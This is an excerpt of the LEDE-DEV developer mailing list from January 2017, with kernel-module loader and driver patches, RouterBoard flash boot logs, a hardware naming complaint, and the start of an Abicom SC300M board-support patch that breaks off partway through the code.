In-Reply-To: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
References: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484135650-16962-7-git-send-email-yszhou4tech@gmail.com>

To fix spurious error messages in the following situation

 1. scan loaded modules
 2. load wireguard.ko and the module itself will request xt_hashlimit to
    be loaded
 3. xt_hashlimit is still in PROBE state here so we also try to load it,
    but init_module() returns EEXIST

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/kmodloader.c b/kmodloader.c
index e1e4e68..036213e 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -574,8 +574,11 @@ static int insert_module(char *path, const char *options)
 	}
 
 	data = malloc(s.st_size);
-	if (read(fd, data, s.st_size) == s.st_size)
+	if (read(fd, data, s.st_size) == s.st_size) {
 		ret = syscall(__NR_init_module, data, (unsigned long) s.st_size, options);
+		if (errno == EEXIST)
+			ret = 0;
+	}
 	else
 		ULOG_ERR("failed to read full module %s\n", path);
 
-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan 11 03:57:23 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 11 Jan 2017 19:57:23 +0800
Subject: [LEDE-DEV] [PATCH 1/2] ubox: install kernel module utilities to
 /sbin directory
Message-ID: <1484135844-17358-1-git-send-email-yszhou4tech@gmail.com>

This is how other Linux distributions are doing and kernel
modprobe_path[] of request_module() also has a default value of
/sbin/modprobe

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 package/system/ubox/Makefile | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/package/system/ubox/Makefile b/package/system/ubox/Makefile
index 8900c67..8edfe6e 100644
--- a/package/system/ubox/Makefile
+++ b/package/system/ubox/Makefile
@@ -34,11 +34,11 @@ define Package/ubox/install
 	$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/getrandom $(1)/usr/bin/
 	$(INSTALL_DATA) $(PKG_INSTALL_DIR)/usr/lib/libvalidate.so $(1)/lib
 
-	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/rmmod
-	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/insmod
-	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/lsmod
-	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/modinfo
-	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/modprobe
+	$(LN) kmodloader $(1)/sbin/rmmod
+	$(LN) kmodloader $(1)/sbin/insmod
+	$(LN) kmodloader $(1)/sbin/lsmod
+	$(LN) kmodloader $(1)/sbin/modinfo
+	$(LN) kmodloader $(1)/sbin/modprobe
 
 	$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/sbin/{logd,logread} $(1)/sbin/
 	$(INSTALL_BIN) ./files/log.init $(1)/etc/init.d/log
-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan 11 03:57:24 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 11 Jan 2017 19:57:24 +0800
Subject: [LEDE-DEV] [PATCH 2/2] generic: keep module aliases inside .modinfo
In-Reply-To: <1484135844-17358-1-git-send-email-yszhou4tech@gmail.com>
References: <1484135844-17358-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484135844-17358-2-git-send-email-yszhou4tech@gmail.com>

It seems module aliases are actually essential info.  E.g. other modules
may call xt_request_find_match(NFPROTO_IPV{4,6}, "hashlimit", 1) and the
kernel will request user mode modprobe helper for ipt_hashlimit and
ip6t_hashlimit respectively which are aliases of xt_hashlimit.ko

Compile-tested for armvirt, there is nearly no size impact.

Before

    -rw-r--r-- 1 yousong yousong     304 Jan 10 17:37 config.seed
    -rw-r--r-- 1 yousong yousong    1634 Jan 11 11:07 lede-armvirt-default.manifest
    -rw-r--r-- 1 yousong yousong 1533647 Jan 11 11:07 lede-armvirt-default-rootfs.tar.gz
    -rw-r--r-- 1 yousong yousong 1802711 Jan 11 11:07 lede-armvirt-root.ext4.gz
    -rw-r--r-- 1 yousong yousong 1544597 Jan 11 11:07 lede-armvirt-rootfs.cpio.gz
    -rw-r--r-- 1 yousong yousong 1174984 Jan 11 11:07 lede-armvirt-root.squashfs.gz
    -rwxr-xr-x 1 yousong yousong 1654712 Jan 11 11:07 lede-armvirt-zImage
    -rwxr-xr-x 1 yousong yousong 2738296 Jan 11 11:07 lede-armvirt-zImage-initramfs
    drwxr-xr-x 2 yousong yousong    4096 Jan 10 17:35 packages
    -rw-r--r-- 1 yousong yousong     739 Jan 10 17:37 sha256sums

After

    -rw-r--r-- 1 yousong yousong     304 Jan 10 17:37 config.seed
    -rw-r--r-- 1 yousong yousong    1634 Jan 11 11:10 lede-armvirt-default.manifest
    -rw-r--r-- 1 yousong yousong 1533646 Jan 11 11:10 lede-armvirt-default-rootfs.tar.gz
    -rw-r--r-- 1 yousong yousong 1802711 Jan 11 11:10 lede-armvirt-root.ext4.gz
    -rw-r--r-- 1 yousong yousong 1544593 Jan 11 11:10 lede-armvirt-rootfs.cpio.gz
    -rw-r--r-- 1 yousong yousong 1174984 Jan 11 11:10 lede-armvirt-root.squashfs.gz
    -rwxr-xr-x 1 yousong yousong 1654736 Jan 11 11:10 lede-armvirt-zImage
    -rwxr-xr-x 1 yousong yousong 2738144 Jan 11 11:10 lede-armvirt-zImage-initramfs
    drwxr-xr-x 2 yousong yousong    4096 Jan 10 17:35 packages
    -rw-r--r-- 1 yousong yousong     739 Jan 10 17:37 sha256sums

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 target/linux/generic/patches-3.18/204-module_strip.patch | 8 ++------
 target/linux/generic/patches-4.1/204-module_strip.patch  | 8 ++------
 target/linux/generic/patches-4.4/204-module_strip.patch  | 8 ++------
 3 files changed, 6 insertions(+), 18 deletions(-)

diff --git a/target/linux/generic/patches-3.18/204-module_strip.patch b/target/linux/generic/patches-3.18/204-module_strip.patch
index dab7799..844c3b5 100644
--- a/target/linux/generic/patches-3.18/204-module_strip.patch
+++ b/target/linux/generic/patches-3.18/204-module_strip.patch
@@ -5,18 +5,14 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
 ---
 --- a/include/linux/module.h
 +++ b/include/linux/module.h
-@@ -84,9 +84,10 @@ void trim_init_extable(struct module *m)
+@@ -84,6 +84,7 @@ void trim_init_extable(struct module *m)
  
  /* Generic info of form tag = "info" */
  #define MODULE_INFO(tag, info) __MODULE_INFO(tag, tag, info)
 +#define MODULE_INFO_STRIP(tag, info) __MODULE_INFO_STRIP(tag, tag, info)
  
  /* For userspace: you can also call me... */
--#define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
-+#define MODULE_ALIAS(_alias) MODULE_INFO_STRIP(alias, _alias)
- 
- /* Soft module dependencies. See man modprobe.d for details.
-  * Example: MODULE_SOFTDEP("pre: module-foo module-bar post: module-baz")
+ #define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
 @@ -127,12 +128,12 @@ void trim_init_extable(struct module *m)
   * Author(s), use "Name <email>" or just "Name", for multiple
   * authors use multiple MODULE_AUTHOR() statements/lines.
diff --git a/target/linux/generic/patches-4.1/204-module_strip.patch b/target/linux/generic/patches-4.1/204-module_strip.patch
index 4f5f647..6b5f878 100644
--- a/target/linux/generic/patches-4.1/204-module_strip.patch
+++ b/target/linux/generic/patches-4.1/204-module_strip.patch
@@ -5,18 +5,14 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
 ---
 --- a/include/linux/module.h
 +++ b/include/linux/module.h
-@@ -84,9 +84,10 @@ void trim_init_extable(struct module *m)
+@@ -84,6 +84,7 @@ void trim_init_extable(struct module *m)
  
  /* Generic info of form tag = "info" */
  #define MODULE_INFO(tag, info) __MODULE_INFO(tag, tag, info)
 +#define MODULE_INFO_STRIP(tag, info) __MODULE_INFO_STRIP(tag, tag, info)
  
  /* For userspace: you can also call me... */
--#define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
-+#define MODULE_ALIAS(_alias) MODULE_INFO_STRIP(alias, _alias)
- 
- /* Soft module dependencies. See man modprobe.d for details.
-  * Example: MODULE_SOFTDEP("pre: module-foo module-bar post: module-baz")
+ #define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
 @@ -127,12 +128,12 @@ void trim_init_extable(struct module *m)
   * Author(s), use "Name <email>" or just "Name", for multiple
   * authors use multiple MODULE_AUTHOR() statements/lines.
diff --git a/target/linux/generic/patches-4.4/204-module_strip.patch b/target/linux/generic/patches-4.4/204-module_strip.patch
index 8b807da..85805b3 100644
--- a/target/linux/generic/patches-4.4/204-module_strip.patch
+++ b/target/linux/generic/patches-4.4/204-module_strip.patch
@@ -5,18 +5,14 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
 ---
 --- a/include/linux/module.h
 +++ b/include/linux/module.h
-@@ -169,9 +169,10 @@ void trim_init_extable(struct module *m)
+@@ -169,6 +169,7 @@ void trim_init_extable(struct module *m)
  
  /* Generic info of form tag = "info" */
  #define MODULE_INFO(tag, info) __MODULE_INFO(tag, tag, info)
 +#define MODULE_INFO_STRIP(tag, info) __MODULE_INFO_STRIP(tag, tag, info)
  
  /* For userspace: you can also call me... */
--#define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
-+#define MODULE_ALIAS(_alias) MODULE_INFO_STRIP(alias, _alias)
- 
- /* Soft module dependencies. See man modprobe.d for details.
-  * Example: MODULE_SOFTDEP("pre: module-foo module-bar post: module-baz")
+ #define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
 @@ -212,12 +213,12 @@ void trim_init_extable(struct module *m)
   * Author(s), use "Name <email>" or just "Name", for multiple
   * authors use multiple MODULE_AUTHOR() statements/lines.
-- 
2.6.4



From cezary.jackiewicz at gmail.com  Wed Jan 11 03:59:28 2017
From: cezary.jackiewicz at gmail.com (Cezary Jackiewicz)
Date: Wed, 11 Jan 2017 12:59:28 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <6013a471-9444-1a8f-4362-f50d324200e1@nbd.name>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
 <20170111091746.4f43a537@samsung>
 <7b76446f-115c-bdae-6002-312b28e29a82@nbd.name>
 <b76087bd-f0df-0866-5116-c1e078f331a0@kresin.me>
 <5dba2824-e233-6272-72a7-f380ed4d2df3@nbd.name>
 <20170111111735.5e8614fd@samsung>
 <87bfe000-4fa1-8662-0f8f-ae452f885b2f@nbd.name>
 <20170111122413.32ac8517@samsung>
 <6013a471-9444-1a8f-4362-f50d324200e1@nbd.name>
Message-ID: <20170111125928.4db63c71@samsung>

Dnia 2017-01-11, o godz. 12:27:48
Felix Fietkau <nbd at nbd.name> napisa?(a):

> Seems that the upstream spi-rb4xx.c driver does not work as-is. I've
> pushed a less intrusive fix now.

Looks good:

[    7.785083] m25p80 spi0.0: pm25lv512 (64 Kbytes)
[    7.840505] Creating 4 MTD partitions on "spi0.0":
[    7.897972] 0x000000000000-0x00000000b000 : "routerboot"
[    7.966301] 0x00000000b000-0x00000000c000 : "hard_config"
[    8.033912] 0x00000000d000-0x00000000f000 : "bios"
[    8.094198] 0x00000000f000-0x000000010000 : "soft_config"
[    8.161987] NAND flash driver for RouterBoard 4xx series version 0.2.0
[    8.240717] nand: device found, Manufacturer ID: 0xec, Chip ID: 0xf1
[    8.316902] nand: Samsung NAND 128MiB 3,3V 8-bit
[    8.372244] nand: 128 MiB, SLC, erase size: 128 KiB, page size: 2048, OOB size: 64
[    8.463047] Scanning device for bad blocks
[    8.999658] Creating 3 MTD partitions on "NAND 128MiB 3,3V 8-bit":
[    9.073823] 0x000000000000-0x000000040000 : "booter"
[    9.135610] 0x000000040000-0x000000400000 : "kernel"
[    9.197817] 0x000000400000-0x000008000000 : "ubi"

Sysupgrade works fine - from initramfs and again after boot
from flash. (rb411u)


-- 
Pozdrawiam,
 Cezary Jackiewicz


From nbd at nbd.name  Wed Jan 11 04:04:02 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 11 Jan 2017 13:04:02 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <20170111125928.4db63c71@samsung>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
 <20170111091746.4f43a537@samsung>
 <7b76446f-115c-bdae-6002-312b28e29a82@nbd.name>
 <b76087bd-f0df-0866-5116-c1e078f331a0@kresin.me>
 <5dba2824-e233-6272-72a7-f380ed4d2df3@nbd.name>
 <20170111111735.5e8614fd@samsung>
 <87bfe000-4fa1-8662-0f8f-ae452f885b2f@nbd.name>
 <20170111122413.32ac8517@samsung>
 <6013a471-9444-1a8f-4362-f50d324200e1@nbd.name>
 <20170111125928.4db63c71@samsung>
Message-ID: <bbd9b8a1-2846-96a5-f8b1-a249489f4c9f@nbd.name>

On 2017-01-11 12:59, Cezary Jackiewicz wrote:
> Dnia 2017-01-11, o godz. 12:27:48
> Felix Fietkau <nbd at nbd.name> napisa?(a):
> 
>> Seems that the upstream spi-rb4xx.c driver does not work as-is. I've
>> pushed a less intrusive fix now.
> 
> Looks good:
> 
> [    7.785083] m25p80 spi0.0: pm25lv512 (64 Kbytes)
> [    7.840505] Creating 4 MTD partitions on "spi0.0":
> [    7.897972] 0x000000000000-0x00000000b000 : "routerboot"
> [    7.966301] 0x00000000b000-0x00000000c000 : "hard_config"
> [    8.033912] 0x00000000d000-0x00000000f000 : "bios"
> [    8.094198] 0x00000000f000-0x000000010000 : "soft_config"
> [    8.161987] NAND flash driver for RouterBoard 4xx series version 0.2.0
> [    8.240717] nand: device found, Manufacturer ID: 0xec, Chip ID: 0xf1
> [    8.316902] nand: Samsung NAND 128MiB 3,3V 8-bit
> [    8.372244] nand: 128 MiB, SLC, erase size: 128 KiB, page size: 2048, OOB size: 64
> [    8.463047] Scanning device for bad blocks
> [    8.999658] Creating 3 MTD partitions on "NAND 128MiB 3,3V 8-bit":
> [    9.073823] 0x000000000000-0x000000040000 : "booter"
> [    9.135610] 0x000000040000-0x000000400000 : "kernel"
> [    9.197817] 0x000000400000-0x000008000000 : "ubi"
> 
> Sysupgrade works fine - from initramfs and again after boot
> from flash. (rb411u)
Thanks for testing. I've pushed the driver fixes to master now.

- Felix



From ldpinney at gmail.com  Wed Jan 11 05:25:11 2017
From: ldpinney at gmail.com (L. D. Pinney)
Date: Wed, 11 Jan 2017 07:25:11 -0600
Subject: [LEDE-DEV] [PATCH] mtd: Fix the soft reboot problem found on
 MediaTek devices with 32M Flash.
Message-ID: <1484141111-11748-1-git-send-email-ldpinney@gmail.com>

This patch resets the spi to 3 byte mode needed for devices with more than 16M Flash.
Tested on the Onion Omega2+ (MT7688)

Signed-off-by: L. D. Pinney <ldpinney at gmail.com>
Tested-by: Nita Vesa <werecatf at gmail.com>

---

diff --git a/target/linux/ramips/patches-4.4/101-spi-reset-to-3-byte-mode.patch b/target/linux/ramips/patches-4.4/101-spi-reset-to-3-byte-mode.patch
new file mode 100644
index 0000000..b126411
--- /dev/null
+++ b/target/linux/ramips/patches-4.4/101-spi-reset-to-3-byte-mode.patch
@@ -0,0 +1,24 @@
+Index: linux-4.4.40/drivers/mtd/devices/m25p80.c
+===================================================================
+--- linux-4.4.40.orig/drivers/mtd/devices/m25p80.c
++++ linux-4.4.40/drivers/mtd/devices/m25p80.c
+@@ -261,6 +261,11 @@ static int m25p_remove(struct spi_device
+ {
+ 	struct m25p	*flash = spi_get_drvdata(spi);
+ 
++		flash->command[0] = 0x66;
++		spi_write(flash->spi, flash->command, 1);
++		flash->command[0] = 0x99;
++		spi_write(flash->spi, flash->command, 1);
++
+ 	/* Clean up MTD stuff. */
+ 	return mtd_device_unregister(&flash->spi_nor.mtd);
+ }
+@@ -328,6 +333,7 @@ static struct spi_driver m25p80_driver =
+ 	.id_table	= m25p_ids,
+ 	.probe	= m25p_probe,
+ 	.remove	= m25p_remove,
++	.shutdown = m25p_remove,
+ 
+ 	/* REVISIT: many of these chips have deep power-down modes, which
+ 	 * should clearly be entered on suspend() to minimize power use.


From dev at kresin.me  Wed Jan 11 05:45:29 2017
From: dev at kresin.me (Mathias Kresin)
Date: Wed, 11 Jan 2017 14:45:29 +0100
Subject: [LEDE-DEV] [PATCH] mtd: Fix the soft reboot problem found on
 MediaTek devices with 32M Flash.
In-Reply-To: <1484141111-11748-1-git-send-email-ldpinney@gmail.com>
References: <1484141111-11748-1-git-send-email-ldpinney@gmail.com>
Message-ID: <CABwW5nnYRgV-qH_WAdQAGuYw__J1ja9ALGx8RBw1DtxoJVzx1Q@mail.gmail.com>

2017-01-11 14:25 GMT+01:00 L. D. Pinney <ldpinney at gmail.com>:
> This patch resets the spi to 3 byte mode needed for devices with more than 16M Flash.
> Tested on the Onion Omega2+ (MT7688)
>
> Signed-off-by: L. D. Pinney <ldpinney at gmail.com>
> Tested-by: Nita Vesa <werecatf at gmail.com>
>
> ---
>
> diff --git a/target/linux/ramips/patches-4.4/101-spi-reset-to-3-byte-mode.patch b/target/linux/ramips/patches-4.4/101-spi-reset-to-3-byte-mode.patch
> new file mode 100644
> index 0000000..b126411
> --- /dev/null
> +++ b/target/linux/ramips/patches-4.4/101-spi-reset-to-3-byte-mode.patch
> @@ -0,0 +1,24 @@
> +Index: linux-4.4.40/drivers/mtd/devices/m25p80.c
> +===================================================================
> +--- linux-4.4.40.orig/drivers/mtd/devices/m25p80.c
> ++++ linux-4.4.40/drivers/mtd/devices/m25p80.c
> +@@ -261,6 +261,11 @@ static int m25p_remove(struct spi_device
> + {
> +       struct m25p     *flash = spi_get_drvdata(spi);
> +
> ++              flash->command[0] = 0x66;
> ++              spi_write(flash->spi, flash->command, 1);
> ++              flash->command[0] = 0x99;
> ++              spi_write(flash->spi, flash->command, 1);
> ++
> +       /* Clean up MTD stuff. */
> +       return mtd_device_unregister(&flash->spi_nor.mtd);
> + }
> +@@ -328,6 +333,7 @@ static struct spi_driver m25p80_driver =
> +       .id_table       = m25p_ids,
> +       .probe  = m25p_probe,
> +       .remove = m25p_remove,
> ++      .shutdown = m25p_remove,
> +
> +       /* REVISIT: many of these chips have deep power-down modes, which
> +        * should clearly be entered on suspend() to minimize power use.

NAK!

This patch was already send as Github PR and dropped in favour of
backporting a patch that was send to linux-mtd. Have a look at
https://github.com/lede-project/source/pull/620 for details.

Mathias


From ufo at rund.freifunk.net  Wed Jan 11 08:14:46 2017
From: ufo at rund.freifunk.net (Ufo)
Date: Wed, 11 Jan 2017 17:14:46 +0100
Subject: [LEDE-DEV] Support for tplink 710 v2.1
Message-ID: <587659F6.6010404@rund.freifunk.net>

when using tplink 710v2.1 there is some strange behaviuor with filenames 
and system-infos:
That dot "." is evil, better use "-".

The hardware is same as 710v1 (8MB flash) but when flashing v2.1 
Firmware the system think its v2 (the dot and 1 might be ignored by 
/tmp/sysinfo/*) which only has 4MB flash.

my workaround for that problem since 8 months is to flash 710v1 (8mb 
flash) firmware right after the initial v.2.1 "factory" flash, with -F 
option :-/
Also the Meshkit (webfrontend for imagebuilder) shows wrong 
hardware-name for 2.1 Router.

i think, best solution would be to rename the model (modify the . into - 
) to 710 v2-1. i cant see such versionnumbering on other devices from 
tplink. :-/

cheers ufo

p.s.
problem is also mentioned here, with screenshot: 
https://plan.leipzig.freifunk.net/issues/260
i was mentioning it at gluon firmware ticketsystem already, but 
neoraider were not able to help me, because gluon isnt using normal 
openwrt/lede stuff like /tmp/sysinfo/*, but libplatforminfo & 
autoupdater are only gluon-specific things. 
https://github.com/freifunk-gluon/gluon/issues/691


From i at conorogorman.net  Wed Jan 11 08:19:52 2017
From: i at conorogorman.net (Conor O'Gorman)
Date: Wed, 11 Jan 2017 16:19:52 +0000
Subject: [LEDE-DEV] [PATCH] ar71xx: add Abicom SC300M support
Message-ID: <20170111161952.32716-1-i@conorogorman.net>

Support Abicom International Scorpion SC300M Module

QCA9550 700MHz Extended Temperature Range
256MB DDR2
256MB Nand Flash
16MB SPI Flash
802.11a/na/b/g/ng
GPIO x 22, USB x2, PCIe x2
10/100/1000 Ethernet
23dBm, Optional Onboard Antenna
DC Input, 8-20V DC
85 x 55 mm

Signed-off-by: Conor O'Gorman <i at conorogorman.net>
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |   1 +
 .../linux/ar71xx/base-files/etc/board.d/02_network |   1 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   3 +-
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-sc300m.c     | 132 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/image/generic.mk               |  10 ++
 11 files changed, 164 insertions(+), 1 deletion(-)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index 5a2bf0c..5be9d4a 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -279,6 +279,7 @@ gl-mifi)
 	esac
 	;;
 gl-domino|\
+sc300m|\
 wrt160nl)
 	ucidef_set_led_wlan "wlan" "WLAN" "$board:blue:wlan" "phy0tpt"
 	;;
diff --git a/target/linux/ar71xx/base-files/etc/board.d/02_network b/target/linux/ar71xx/base-files/etc/board.d/02_network
index 66274db..54069ce 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/02_network
+++ b/target/linux/ar71xx/base-files/etc/board.d/02_network
@@ -93,6 +93,7 @@ ar71xx_setup_interfaces()
 	rb-sxt5n|\
 	re450|\
 	rocket-m-xw|\
+	sc300m |\
 	tl-mr10u|\
 	tl-mr11u|\
 	tl-mr12u|\
diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
index d060ccf..36f2c43 100644
--- a/target/linux/ar71xx/base-files/etc/diag.sh
+++ b/target/linux/ar71xx/base-files/etc/diag.sh
@@ -295,7 +295,8 @@ get_status_led() {
 	rb-sxt5n)
 		status_led="rb:green:power"
 		;;
-	re450)
+	re450|\
+	sc300m)
 		status_led="$board:blue:power"
 		;;
 	routerstation|\
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index 1b30f4d..a8bdc67 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -881,6 +881,9 @@ ar71xx_board_detect() {
 	*RW2458N)
 		name="rw2458n"
 		;;
+	*SC300M)
+		name="sc300m"
+		;;
 	*"SMART-300")
 		name="smart-300"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 6341a31..74808ef 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -226,6 +226,7 @@ platform_check_image() {
 	rocket-m-xw|\
 	rocket-m|\
 	rw2458n|\
+	sc300m|\
 	sr3200|\
 	tew-632brp|\
 	tew-712br|\
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index 4b2f736..daffdea 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -147,6 +147,7 @@ CONFIG_ATH79_MACH_R6100=y
 # CONFIG_ATH79_MACH_RBSXTLITE is not set
 CONFIG_ATH79_MACH_RE450=y
 CONFIG_ATH79_MACH_RW2458N=y
+CONFIG_ATH79_MACH_SC300M=y
 CONFIG_ATH79_MACH_SMART_300=y
 CONFIG_ATH79_MACH_SOM9331=y
 CONFIG_ATH79_MACH_SR3200=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 21d6b51..56889d7 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -1,3 +1,14 @@
+config ATH79_MACH_SC300M
+	bool "Abicom SC300M board support"
+	select SOC_QCA955X
+	select ATH79_DEV_AP9X_PCI if PCI
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+
 config ATH79_MACH_ALFA_AP120C
 	bool "ALFA Network AP120C board support"
 	select ATH79_DEV_AP9X_PCI if PCI
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 6384c06..915b34e 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -151,6 +151,7 @@ obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
 obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
 obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
+obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
 obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
 obj-$(CONFIG_ATH79_MACH_SOM9331)		+= mach-som9331.o
 obj-$(CONFIG_ATH79_MACH_SR3200)			+= mach-sr3200.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
new file mode 100644
index 0000000..45ec58d
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
@@ -0,0 +1,132 @@
+/*
+ * Abicom International Scorpion SC300M Module support.
+ *
+ * Copyright (c) 2012 Qualcomm Atheros
+ * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
+ * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ */
+
+#include <linux/platform_device.h>
+#include <linux/platform_data/phy-at803x.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "pci.h"
+#include "dev-ap9x-pci.h"
+#include "dev-gpio-buttons.h"
+#include "dev-eth.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-nfc.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define SC300M_GPIO_LED_WLAN		0
+#define SC300M_GPIO_LED_POWER		1
+
+#define SC300M_GPIO_BTN_RESET		17
+
+#define SC300M_KEYS_POLL_INTERVAL	20	/* msecs */
+#define SC300M_KEYS_DEBOUNCE_INTERVAL	(3 * SC300M_KEYS_POLL_INTERVAL)
+
+#define SC300M_MAC0_OFFSET		0
+#define SC300M_MAC1_OFFSET		6
+#define SC300M_WMAC_CALDATA_OFFSET	0x1000
+#define SC300M_PCIE_CALDATA_OFFSET	0x5000
+
+static struct gpio_led sc300m_leds_gpio[] __initdata = {
+	{
+		.name		= "sc300m:blue:wlan",
+		.gpio		= SC300M_GPIO_LED_WLAN,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc300m:blue:power",
+		.gpio		= SC300M_GPIO_LED_POWER,
+		.active_low	= 1,
+	}
+};
+
+static struct gpio_keys_button sc300m_gpio_keys[] __initdata = {
+	{
+		.desc		= "reset",
+		.type		= EV_KEY,
+		.code		= KEY_RESTART,
+		.debounce_interval = SC300M_KEYS_DEBOUNCE_INTERVAL,
+		.gpio		= SC300M_GPIO_BTN_RESET,
+		.active_low	= 1,
+	}
+};
+
+static struct at803x_platform_data at803x_data = {
+	.disable_smarteee = 1,
+	.enable_rgmii_rx_delay = 0,
+	.enable_rgmii_tx_delay = 0,
+};
+
+static struct mdio_board_info sc300m_mdio0_info[] = {
+	{
+		.bus_id = "ag71xx-mdio.0",
+		.phy_addr = 1,
+		.platform_data = &at803x_data,
+	},
+};
+
+static void __init sc300m_setup(void)
+{
+	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
+
+	ath79_register_m25p80(NULL);
+
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc300m_leds_gpio),
+				 sc300m_leds_gpio);
